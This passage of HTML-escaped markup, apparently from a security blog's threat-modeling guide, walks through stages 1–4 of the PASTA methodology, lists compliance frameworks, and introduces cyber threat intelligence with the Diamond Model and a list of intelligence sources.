      &lt;td&gt;(&lt;em&gt;AV&lt;/em&gt;, &lt;em&gt;AC&lt;/em&gt;, &lt;em&gt;PR&lt;/em&gt;, &lt;em&gt;UI&lt;/em&gt;)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Affected Users  &lt;/td&gt;
      &lt;td&gt;Scope&lt;/td&gt;
      &lt;td&gt;(&lt;em&gt;S&lt;/em&gt;)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Discoverability&lt;/td&gt;
      &lt;td&gt;Remediation Level, Report Confidence&lt;/td&gt;
      &lt;td&gt;(&lt;em&gt;RL&lt;/em&gt;, &lt;em&gt;RC&lt;/em&gt;)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;pasta&quot;&gt;PASTA&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Process for Attack Simulation and Threat Analysis&lt;/strong&gt; (&lt;strong&gt;PASTA&lt;/strong&gt;) &lt;a href=&quot;https://www.wiley.com/en-us/Risk+Centric+Threat+Modeling%3A+Process+for+Attack+Simulation+and+Threat+Analysis-p-9780470500965#&quot;&gt;&lt;i class=&quot;ph ph-book&quot;&gt;&lt;/i&gt;&lt;/a&gt; is a risk-centric, threat-focused, evidence-based and highly collaborative &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; methodology. PASTA is composed of a &lt;strong&gt;7&lt;/strong&gt;-stage process. These stages are listed below, with subsequent sections that cover in detail each respective stage.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Stage 1: &lt;a href=&quot;#pasta-stage-1-define-objectives&quot;&gt;Define Objectives&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Stage 2: &lt;a href=&quot;#pasta-stage-2-define-technical-scope&quot;&gt;Define Technical Scope&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Stage 3: &lt;a href=&quot;#pasta-stage-3-application-decomposition&quot;&gt;Application Decomposition&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Stage 4: &lt;a href=&quot;#pasta-stage-4-threat-analysis&quot;&gt;Threat Analysis&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;Cyber Threat Intelligence&lt;/a&gt; (CTI)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Stage 5: &lt;a href=&quot;#pasta-stage-5-vulnerability--weakness-analysis&quot;&gt;Vulnerability &amp;amp; Weakness Analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Stage 6: &lt;a href=&quot;#pasta-stage-6-attack-modeling&quot;&gt;Attack Modeling&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#attack-trees&quot;&gt;Attack Trees&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Stage 7: &lt;a href=&quot;#pasta-stage-7-risk--impact-analysis&quot;&gt;Risk &amp;amp; Impact Analysis&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For each stage of the PASTA threat modeling process I provide an &lt;em&gt;I/O flow diagram&lt;/em&gt; which describes the respective inputs, processes and outputs for each stage. &lt;strong&gt;*&lt;/strong&gt; I &lt;strong&gt;do not&lt;/strong&gt; exhaustively cover each element of the respective stages as this would prove rather tedious and even &lt;em&gt;overly&lt;/em&gt; informative. Rather, I will describe select pieces of each stage based on the elements I deem either un-obvious or particularly opaque given the stage-specific process-flow depiction alone. Where applicable, I’ll also provide additional instruction, context, commentary and analysis within each stage’s section. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;pasta-stage-1-define-objectives&quot;&gt;PASTA Stage 1: Define Objectives&lt;/h3&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/pasta-threat-model-1-Objectives.png&quot; alt=&quot;PASTA Stage 1&quot; width=&quot;900px&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;The inputs for &lt;em&gt;Stage 1&lt;/em&gt; require quite a &lt;em&gt;bit&lt;/em&gt; of data gathering and cross-team collaboration. Some teams you may need to consult for these inputs are listed below…
    &lt;ul&gt;
      &lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://requirements.com/Content/What-is/what-are-business-requirements-1&quot;&gt;Business Requirements&lt;/a&gt;&lt;/em&gt;: Business partners from the department the target system resides in.&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/functional-vs-non-functional-requirements/&quot;&gt;Functional Requirements&lt;/a&gt;&lt;/em&gt;: (&lt;em&gt;Software&lt;/em&gt;) Engineering team(s).&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://www.sans.org/information-security-policy/&quot;&gt;Information Security Policies&lt;/a&gt;&lt;/em&gt;: Security team &amp;amp; security leadership.&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;&lt;a href=&quot;#compliance-frameworks&quot;&gt;Regulatory Compliance Standards&lt;/a&gt;&lt;/em&gt;: &lt;a href=&quot;https://en.wikipedia.org/wiki/Governance,_risk_management,_and_compliance&quot;&gt;GRC&lt;/a&gt; or Privacy team(s).&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://digitalguardian.com/blog/what-data-classification-data-classification-definition&quot;&gt;Data Classification&lt;/a&gt; Documents&lt;/em&gt;: Enterprise architecture, IT or GRC teams.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Work with business stakeholders to understand &lt;strong&gt;&lt;a href=&quot;https://asana.com/resources/business-objectives-examples&quot;&gt;business objectives&lt;/a&gt;&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;To &lt;strong&gt;define security requirements&lt;/strong&gt;, consider leveraging a methodology like &lt;a href=&quot;https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=484884&quot;&gt;SQUARE&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;For defining &lt;strong&gt;compliance requirements&lt;/strong&gt;, you’ll need to understand the &lt;a href=&quot;#compliance-frameworks&quot;&gt;regulatory / compliance frameworks&lt;/a&gt; your organization may be beholden to (&lt;em&gt;and there are a lot of them&lt;/em&gt;).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Business Impact Analysis&lt;/strong&gt; (&lt;strong&gt;BIA&lt;/strong&gt;) report: I won’t cover conducting a BIA engagement within this guide. Please reference this &lt;a href=&quot;https://www.ready.gov/business-impact-analysis&quot;&gt;great resource on BIA&lt;/a&gt; from &lt;a href=&quot;https://www.ready.gov/&quot;&gt;Ready.gov&lt;/a&gt; if you want to learn more.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Application Profile&lt;/strong&gt;: Any high-level description of the application and its functionality is suitable but the profile would ideally include information such as - &lt;em&gt;application type&lt;/em&gt; (e.g. Internet-facing), &lt;em&gt;data classification&lt;/em&gt; (e.g. public, confidential, restricted), &lt;em&gt;business objectives&lt;/em&gt;, &lt;em&gt;inherent risk&lt;/em&gt;, &lt;em&gt;high risk transactions&lt;/em&gt; (e.g.yes/no), &lt;em&gt;user roles&lt;/em&gt;, &lt;em&gt;number of users&lt;/em&gt;, etc…&lt;/li&gt;
  &lt;li&gt;Like other &lt;a href=&quot;#methodologies&quot;&gt;methodologies&lt;/a&gt; covered in this guide, &lt;a href=&quot;#pasta&quot;&gt;PASTA&lt;/a&gt; includes the development of formal security (and &lt;a href=&quot;#linddun-threat-categories&quot;&gt;privacy&lt;/a&gt;) requirements. Personally, I think these should be implicit inputs &lt;em&gt;into&lt;/em&gt; a &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; exercise, rather than an explicit output, but… &lt;em&gt;&amp;lt;/shrug&amp;gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;compliance-frameworks&quot;&gt;Compliance Frameworks&lt;/h6&gt;

&lt;p&gt;Compliance is a necessary evil in the world of security &lt;em&gt;and&lt;/em&gt; &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt;. There is an &lt;em&gt;overwhelming&lt;/em&gt; collection of &lt;strong&gt;compliance frameworks&lt;/strong&gt; that govern industries around the world. Some examples include - &lt;a href=&quot;https://www.congress.gov/bill/107th-congress/house-bill/3763&quot;&gt;Sarbanes-Oxley (SOX)&lt;/a&gt;, &lt;a href=&quot;https://www.pcisecuritystandards.org&quot;&gt;PCI DSS&lt;/a&gt;, &lt;a href=&quot;https://www.nist.gov/cyberframework&quot;&gt;NIST CSF&lt;/a&gt;, &lt;a href=&quot;https://www.ssae-16.com&quot;&gt;SSAE-16&lt;/a&gt;, &lt;a href=&quot;https://us.aicpa.org/content/dam/aicpa/research/standards/auditattest/downloadabledocuments/at-00101.pdf&quot;&gt;AT-101&lt;/a&gt;, &lt;a href=&quot;https://www.fedramp.gov&quot;&gt;FedRAMP&lt;/a&gt;, &lt;a href=&quot;https://www.iso.org/isoiec-27001-information-security.html&quot;&gt;ISO&lt;/a&gt;, &lt;a href=&quot;https://www.privacyshield.gov/list&quot;&gt;Privacy Shield&lt;/a&gt;, &lt;a href=&quot;https://www.hhs.gov/hipaa/index.html&quot;&gt;HIPAA&lt;/a&gt;, &lt;a href=&quot;https://www.hhs.gov/hipaa/for-professionals/special-topics/hitech-act-enforcement-interim-final-rule/index.html&quot;&gt;HITECH&lt;/a&gt;, &lt;a href=&quot;https://us.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report&quot;&gt;SOC 2&lt;/a&gt;, &lt;a href=&quot;https://www.defense.gov/News/Releases/Release/Article/2833006/strategic-direction-for-cybersecurity-maturity-model-certification-cmmc-program/&quot;&gt;CMMC&lt;/a&gt;, &lt;a href=&quot;https://gdpr-info.eu&quot;&gt;GDPR&lt;/a&gt;, &lt;a href=&quot;https://oag.ca.gov/privacy/ccpa&quot;&gt;CCPA&lt;/a&gt;, &lt;a href=&quot;https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act&quot;&gt;GLBA&lt;/a&gt;, &lt;a href=&quot;https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/&quot;&gt;PIPEDA&lt;/a&gt;, &lt;a href=&quot;https://www.cisa.gov/federal-information-security-modernization-act&quot;&gt;FISMA&lt;/a&gt;, &lt;a href=&quot;https://cloudsecurityalliance.org/star/&quot;&gt;CSA STAR&lt;/a&gt;, &lt;a href=&quot;https://www.isaca.org/resources/cobit&quot;&gt;COBIT&lt;/a&gt;, &lt;a href=&quot;https://www2.ed.gov/policy/gen/guid/fpco/ferpa/index.html&quot;&gt;FERPA&lt;/a&gt;, &lt;a href=&quot;https://www.ftc.gov/legal-library/browse/rules/childrens-online-privacy-protection-rule-coppa&quot;&gt;COPPA&lt;/a&gt;, &lt;a href=&quot;https://www.nerc.com/comm/CIPC/Pages/default.aspx&quot;&gt;NERC CIP&lt;/a&gt;, &lt;a href=&quot;https://www2.ed.gov/policy/highered/leg/hea08/index.html&quot;&gt;HEOA&lt;/a&gt;, &lt;a href=&quot;https://hitrustalliance.net&quot;&gt;HITRUST&lt;/a&gt;, etc… &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;30&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;31&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;pasta-stage-2-define-technical-scope&quot;&gt;PASTA Stage 2: Define Technical Scope&lt;/h3&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/pasta-threat-model-2-Scope.png&quot; alt=&quot;PASTA Stage 2&quot; width=&quot;900px&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;Similar to &lt;em&gt;&lt;a href=&quot;#pasta-stage-1-define-objectives&quot;&gt;Stage 1&lt;/a&gt;&lt;/em&gt;, there are other teams that will likely need to be consulted for the required inputs, e.g. the network team and engineering team(s).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Technical Scope&lt;/strong&gt;: Inventorying &lt;em&gt;network&lt;/em&gt;, &lt;em&gt;infrastructure&lt;/em&gt; and &lt;em&gt;software&lt;/em&gt; components contributes to developing a holistic technical scope as well as for understanding the &lt;em&gt;boundaries&lt;/em&gt; of a system. Example component elements include - &lt;em&gt;application components&lt;/em&gt;, &lt;em&gt;network topology&lt;/em&gt;, &lt;em&gt;protocols&lt;/em&gt;/&lt;em&gt;services&lt;/em&gt; (from existing &lt;a href=&quot;#data-flow-diagram&quot;&gt;data flow diagrams&lt;/a&gt;), &lt;em&gt;use case scenarios&lt;/em&gt; (via sequence diagrams), &lt;em&gt;assets&lt;/em&gt; (targeted data / sub-systems), &lt;em&gt;&lt;a href=&quot;#control-frameworks&quot;&gt;security controls&lt;/a&gt;&lt;/em&gt; (e.g. &lt;a href=&quot;https://www.cloudflare.com/learning/access-management/authn-vs-authz/&quot;&gt;authN/authZ&lt;/a&gt;, encryption, logging, etc…), &lt;em&gt;data interactions&lt;/em&gt; (e.g. login, registration), &lt;em&gt;technology types / versions&lt;/em&gt;, etc…&lt;/li&gt;
  &lt;li&gt;The &lt;em&gt;technical scope&lt;/em&gt; derived in this stage is the basis for our understanding of the systems &lt;strong&gt;attack surface&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;pasta-stage-3-application-decomposition&quot;&gt;PASTA Stage 3: Application Decomposition&lt;/h3&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/pasta-threat-model-3-Decomposition.png&quot; alt=&quot;PASTA Stage 3&quot; width=&quot;900px&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;For reference, here’s a good definition of a &lt;strong&gt;&lt;a href=&quot;https://www.lucidchart.com/blog/how-to-create-software-design-documents&quot;&gt;design document&lt;/a&gt;&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.usability.gov/how-to-and-tools/methods/use-cases.html&quot;&gt;Use case&lt;/a&gt;&lt;/strong&gt; enumeration can be time-consuming and unwieldy depending on the size &amp;amp; scope of the target system.&lt;/li&gt;
  &lt;li&gt;This stage requires the development of a &lt;strong&gt;&lt;a href=&quot;#data-flow-diagram&quot;&gt;data flow diagram&lt;/a&gt;&lt;/strong&gt; (DFD).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Controls Analysis&lt;/strong&gt;: For each use case (transaction), determine the inherent risk, data classification in scope and security functions invoked for each &lt;a href=&quot;#control-frameworks&quot;&gt;control type&lt;/a&gt; (e.g. input validation, authN/authZ, session management, encryption, etc…). &lt;em&gt;Note: This can be done in a spreadsheet.&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;“Explicit” vs “Implicit” trust&lt;/em&gt;: Are authorization (&lt;em&gt;&lt;a href=&quot;https://auth0.com/intro-to-iam/what-is-authorization/&quot;&gt;authZ&lt;/a&gt;&lt;/em&gt;) decisions made on context-aware rules (i.e. &lt;a href=&quot;https://csrc.nist.gov/publications/detail/sp/800-207/final&quot;&gt;Zero Trust&lt;/a&gt;) or simply by whether you can communicate with something?&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;#access-control-matrix&quot;&gt;Access Control Matrix&lt;/a&gt;&lt;/strong&gt;: A formal security model that characterizes the rights of actors with respect to assets in a system.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Use Case Mapping&lt;/em&gt;: Similar to &lt;a href=&quot;#trike&quot;&gt;Trike&lt;/a&gt;, &lt;a href=&quot;#pasta&quot;&gt;PASTA&lt;/a&gt; demands the mapping of &lt;strong&gt;&lt;a href=&quot;#use-flow-map&quot;&gt;use flows&lt;/a&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;pasta-stage-4-threat-analysis&quot;&gt;PASTA Stage 4: Threat Analysis&lt;/h3&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/pasta-threat-model-4-Threat+Analysis.png&quot; alt=&quot;PASTA Stage 4&quot; width=&quot;900px&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;*&lt;/strong&gt; I find it a little &lt;em&gt;strange&lt;/em&gt;, or just unnecessary, to bring straight-up application / &lt;strong&gt;&lt;a href=&quot;https://www.gartner.com/en/information-technology/glossary/security-information-and-event-management-siem&quot;&gt;SIEM&lt;/a&gt; logs&lt;/strong&gt; into a &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; assessment, but that’s what &lt;a href=&quot;#pasta&quot;&gt;PASTA&lt;/a&gt; wants as an input in this stage…&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Attack Scenario Probability Analysis&lt;/strong&gt;: &lt;em&gt;Probability&lt;/em&gt; (i.e. &lt;em&gt;likelihood&lt;/em&gt;) is factored using a plethora of security criteria (e.g. attack vector, attack complexity, privileges required, user interaction, exploit code availability, vulnerability patch level, in-line &lt;a href=&quot;#control-frameworks&quot;&gt;security controls&lt;/a&gt;, threat actor capability, threat actor infrastructure, threat actor motivation, etc…) - &lt;em&gt;pretty much &lt;a href=&quot;https://www.first.org/cvss/specification-document&quot;&gt;CVSS metrics&lt;/a&gt;&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;Consider what &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;threat intel&lt;/a&gt; can be developed from analyzing internal/external &lt;strong&gt;incident reports&lt;/strong&gt;. Can we perform &lt;a href=&quot;https://carnegieendowment.org/2022/03/28/purposes-of-u.s.-government-public-cyber-attribution-pub-86696&quot;&gt;attribution&lt;/a&gt;? Are there identifable &lt;a href=&quot;https://attack.mitre.org/matrices/enterprise/&quot;&gt;TTPs&lt;/a&gt;? Do we at a minimum have workable &lt;a href=&quot;https://www.fortinet.com/resources/cyberglossary/indicators-of-compromise&quot;&gt;IoCs&lt;/a&gt;?&lt;/li&gt;
  &lt;li&gt;PASTA asks that we perform &lt;strong&gt;&lt;a href=&quot;https://hbr.org/2015/11/a-refresher-on-regression-analysis&quot;&gt;regression analysis&lt;/a&gt;&lt;/strong&gt; on security events. &lt;em&gt;What does that even mean&lt;/em&gt;? In this context, I suppose it means analyzing security events applicable to the target system and determining whether they have any real risk-implications.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Attack Scenarios&lt;/strong&gt; are high-level descriptions of &lt;em&gt;attack paths&lt;/em&gt; we will &lt;a href=&quot;#pasta-stage-6-attack-modeling&quot;&gt;later model&lt;/a&gt; by using &lt;a href=&quot;#attack-trees&quot;&gt;attack trees&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;We can &lt;em&gt;correlate CTI to our attack scenarios&lt;/em&gt; by mapping industry-applicable &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;CTI&lt;/a&gt; to the threats / malicious actors proposed when we developed the attack scenarios.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;cyber-threat-intelligence-cti&quot;&gt;Cyber Threat Intelligence (CTI)&lt;/h5&gt;

&lt;p&gt;&lt;strong&gt;Cyber Threat Intelligence&lt;/strong&gt; (&lt;strong&gt;CTI&lt;/strong&gt;) is a &lt;em&gt;vast&lt;/em&gt; discipline, and not one I’m going to try and cover exhaustively or authoritatively here. Instead, I’ll cover a few key things for the purposes of understanding the application of CTI within the greater process of performing &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt;. Let’s start with what makes something a “&lt;strong&gt;threat&lt;/strong&gt;”. Threats can be defined as the cross-section of when a &lt;em&gt;threat actor&lt;/em&gt; has the following…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Intent&lt;/strong&gt; - The motivation/desire to attack a target.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Opportunity&lt;/strong&gt; - Accessible &lt;em&gt;attack surface&lt;/em&gt; that contains &lt;em&gt;vulnerability&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Capability&lt;/strong&gt; - Infrastructure, tooling, exploits and applicable &lt;a href=&quot;https://attack.mitre.org/matrices/enterprise/&quot;&gt;TTPs&lt;/a&gt; to perform an attack. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;7&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is further visualized using the well-known &lt;strong&gt;Diamond Model&lt;/strong&gt; (depicted below). Each line represents a relationship of how an attacker might attack a target/victim, e.g. the &lt;em&gt;Adversary&lt;/em&gt; uses &lt;em&gt;Infrastructure&lt;/em&gt; and known &lt;em&gt;Capabilities&lt;/em&gt; to attack &lt;em&gt;Victim&lt;/em&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;8&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/diamond-model.png&quot; alt=&quot;Diamond Model&quot; width=&quot;350px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;Below are some other assorted thoughts and resources related to CTI.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cti-cmm.org&quot;&gt;CTI-CMM&lt;/a&gt; - Cyber Threat Intelligence Maturity Model&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://warnerchad.medium.com/&quot;&gt;Chad Warner&lt;/a&gt; has an interesting &lt;a href=&quot;https://warnerchad.medium.com/diamond-model-for-cti-5aba5ba5585&quot;&gt;writeup on using the Diamond Model&lt;/a&gt; if you want to dive deeper on this topic.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Threat Intelligence&lt;/strong&gt; can also be defined as, &lt;em&gt;data that is collected, processed, and analyzed to understand a threat actor’s motives, targets, and attack behaviors&lt;/em&gt;. (&lt;a href=&quot;https://www.crowdstrike.com/cybersecurity-101/threat-intelligence/&quot;&gt;source&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;One important concept to understand related to CTI is the &lt;a href=&quot;https://danielmiessler.com/blog/difference-data-information-intelligence/&quot;&gt;difference between Data, Information and Intelligence&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Intelligence should be &lt;em&gt;actionable&lt;/em&gt;, enabling security teams to make better decisions.&lt;/li&gt;
  &lt;li&gt;A Cyber Threat Intelligence Self-Study Plan: &lt;a href=&quot;https://medium.com/katies-five-cents/a-cyber-threat-intelligence-self-study-plan-part-1-968b5a8daf9a&quot;&gt;Part 1&lt;/a&gt;, &lt;a href=&quot;https://medium.com/katies-five-cents/a-cyber-threat-intelligence-self-study-plan-part-2-d04b7a529d36&quot;&gt;Part 2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://start.me/p/wMrA5z/cyber-threat-intelligence&quot;&gt;Cyber Threat Intelligence Dashboard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;A resource for public &lt;a href=&quot;https://infosec.press/screaminggoat/attribution&quot;&gt;attribution&lt;/a&gt; by government organizations.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Threat Actors&lt;/strong&gt; can be modeled based on existing &lt;em&gt;threat profiles&lt;/em&gt;. Organizations like &lt;a href=&quot;https://attack.mitre.org/groups/&quot;&gt;MITRE&lt;/a&gt;, &lt;a href=&quot;https://adversary.crowdstrike.com/&quot;&gt;Crowdstrike&lt;/a&gt;, &lt;a href=&quot;https://www.dragos.com/threat-activity-groups/&quot;&gt;Dragos&lt;/a&gt;, &lt;a href=&quot;https://www.mandiant.com/resources/insights/advanced-persistent-threats-apts&quot;&gt;Mandiant&lt;/a&gt;, &lt;a href=&quot;https://www.cfr.org/cyber-operations/&quot;&gt;CFR&lt;/a&gt;, Google &lt;a href=&quot;https://blog.google/threat-analysis-group/&quot;&gt;TAG&lt;/a&gt;, &lt;a href=&quot;https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming&quot;&gt;Microsoft&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.secureworks.com/research/threat-profiles&quot;&gt;Secureworks&lt;/a&gt; track global threat actors and make these profiles publicly available.&lt;/li&gt;
  &lt;li&gt;Organizations and representative security teams typically consume threat intel through (integrated) &lt;em&gt;feeds&lt;/em&gt; or via published reports (&lt;em&gt;typically from the organizations I just listed&lt;/em&gt;). Good open-source CTI projects include &lt;a href=&quot;https://www.misp-project.org&quot;&gt;MISP&lt;/a&gt; and &lt;a href=&quot;https://www.opencti.io/&quot;&gt;OpenCTI&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Other external threat sources to consider include…
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://ifin-intel.org&quot;&gt;IFIN&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Verizon’s annual &lt;a href=&quot;https://www.verizon.com/business/resources/reports/dbir/&quot;&gt;Data Breach Investigations Report&lt;/a&gt; (DBIR)&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/uscert/&quot;&gt;US Cert&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.cisa.gov/topics/cyber-threats-and-advisories/information-sharing/automated-indicator-sharing-ais&quot;&gt;CISA AIS&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;SANS &lt;a href=&quot;https://isc.sans.edu/data/threatfeed.html&quot;&gt;Internet Storm Center&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;McAfee’s &lt;a href=&quot;https://www.mcafee.com/enterprise/en-us/threat-center/threat-landscape-dashboard/campaigns-details.operation-finsho.html&quot;&gt;Threat Landscape Dashboard (Operation FINSHO)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://community.emergingthreats.net&quot;&gt;Emerging Threats&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://rules.emergingthreats.net&quot;&gt;rules&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://apt.threattracking.com&quot;&gt;APT Groups and Operations | apt.threattracking&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://pan-unit42.github.io/playbook_viewer/&quot;&gt;Playbook Viewer | Unit42&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://otx.alienvault.com&quot;&gt;OTX AlienVault&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://apt.etda.or.th/cgi-bin/aptsearch.cgi&quot;&gt;Electronic Transactions Development Agency (ETDA)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://github.com/MISP/misp-galaxy/blob/main/clusters/threat-actor.json&quot;&gt;MISP Galaxy Threat Actors&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://talosintelligence.com&quot;&gt;Talos&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://threatconnect.com/partner/r-cisc/&quot;&gt;R-CISC&lt;/a&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;9&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.infragard.org&quot;&gt;InfraGard&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.blocklist.de/en/index.html&quot;&gt;BlockList.de&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://phishtank.org&quot;&gt;PhishTank&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://cinsscore.com&quot;&gt;CINS Score&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.spamhaus.org&quot;&gt;Spamhaus&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://virusshare.com&quot;&gt;VirusShare&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://safebrowsing.google.com&quot;&gt;Google Safe Browsing&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
